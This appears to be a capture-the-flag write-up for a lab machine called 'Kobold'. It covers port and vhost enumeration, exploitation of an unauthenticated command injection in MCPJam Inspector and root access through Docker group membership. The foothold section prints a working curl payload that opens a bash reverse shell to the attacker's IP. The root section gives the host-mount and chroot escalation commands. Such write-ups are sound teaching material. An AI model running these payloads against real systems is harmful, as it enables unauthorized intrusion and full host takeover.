Introduction #
The “Kobold” machine hosted three web services: MCPJam Inspector, PrivateBin, and Arcane Docker Management. An unauthenticated command injection in MCPJam Inspector (CVE-2026-23744) provided initial access as user ben. A separate command injection in Arcane’s updater service (CVE-2026-23520) was identified but not required for the final path. On the host, ben had docker group membership accessible via newgrp, granting access to the Docker daemon socket. By running a privileged container with the host filesystem mounted and using chroot to pivot into it, full root access to the host was achieved.
nmap #
nmap finds four open TCP ports, SSH (22), HTTP/S (80, 443) and HTTP (3552):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.9.1
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
3552/tcp open taserver?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Thu, 26 Mar 2026 07:29:07 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_ <link rel="modu
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Found kobold.htb - add it to /etc/hosts
Web - TCP 80 #
Nothing here, only a contact email at the bottom: admin@kobold.htb

VHOST #
Vhost enumeration turns up 2 interesting subdomains:
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u https://kobold.htb/ -H 'Host: FUZZ.kobold.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.kobold.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 45ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 45ms]
MCP [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 34ms]
:: Progress: [220561/220561] :: Job [1/1] :: 552 req/sec :: Duration: [0:03:58] :: Errors: 0 ::
Service enumeration #
PrivateBin (bin.kobold.htb)
#
PrivateBin 2.0.2 an open-source paste bin.

MCPJam Inspector (mcp.kobold.htb)
#
MCPJam Inspector is a web-based tool for testing Model Context Protocol (MCP) servers. The UI presented a login page but also exposed API endpoints.

Key discoveries:
POST /api/mcp/connectaccepts a serverConfig object with command and args fields- No authentication required on the endpoint
- Endpoint passes the command directly to the OS
Arcane (kobold.htb:3552)
#
Arcane v1.13.0 a Docker management interface. Full OpenAPI spec available at /api/openapi.json.
Key unauthenticated endpoints:
GET /api/healthGET /api/versionGET /api/environments/{id}/settings/publicGET /api/templates/fetch?url=...POST /api/environments/pair
CVEs #
CVE-2026-23520 #
Googling around for CVEs related to PrivateBin and Arcane Docker Management leads me to CVE-2026-23520. This vulnerability affects Arcane Docker Management v1.13.0 and below.
CVE-2026-23744 #
There is another CVE with a helpful advisory that conveniently shows a PoC.
Foothold #
As per the PoC, just send a POST request and I should get a shell:
curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.176/4444 0>&1"], "env": {}}}'
and I do:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.9.1] 56980
bash: cannot set terminal process group (1529): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
Root #
During enumeration I notice that Docker is running. But ben (current user) is not in the docker group, so docker commands fail:
ben@kobold:~$ docker ps
docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
There is a way around that, I can simply switch active group to docker using newgrp, that gives me access to the Docker socket for the current session.
ben@kobold:~$ newgrp docker
newgrp docker
ben@kobold:~$ docker ps
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 5 weeks ago Up About an hour 127.0.0.1:8080->8080/tcp bin
Now I can mount the host filesystem into a container. The PrivateBin image privatebin/nginx-fpm-alpine:2.0.2 is already downloaded on the box.
Run the container as root (-u 0) and mount the entire host filesystem to /mnt.
ben@kobold:~$ docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
<oint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
Using chroot I can pivot from the container’s view into the host filesystem mounted at /mnt, giving me a full root shell on the machine:
/var/www # chroot /mnt sh
chroot /mnt sh
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/root.txt
cat /root/root.txt
5d147a9a0e21cca3919e9d4cdd212bb3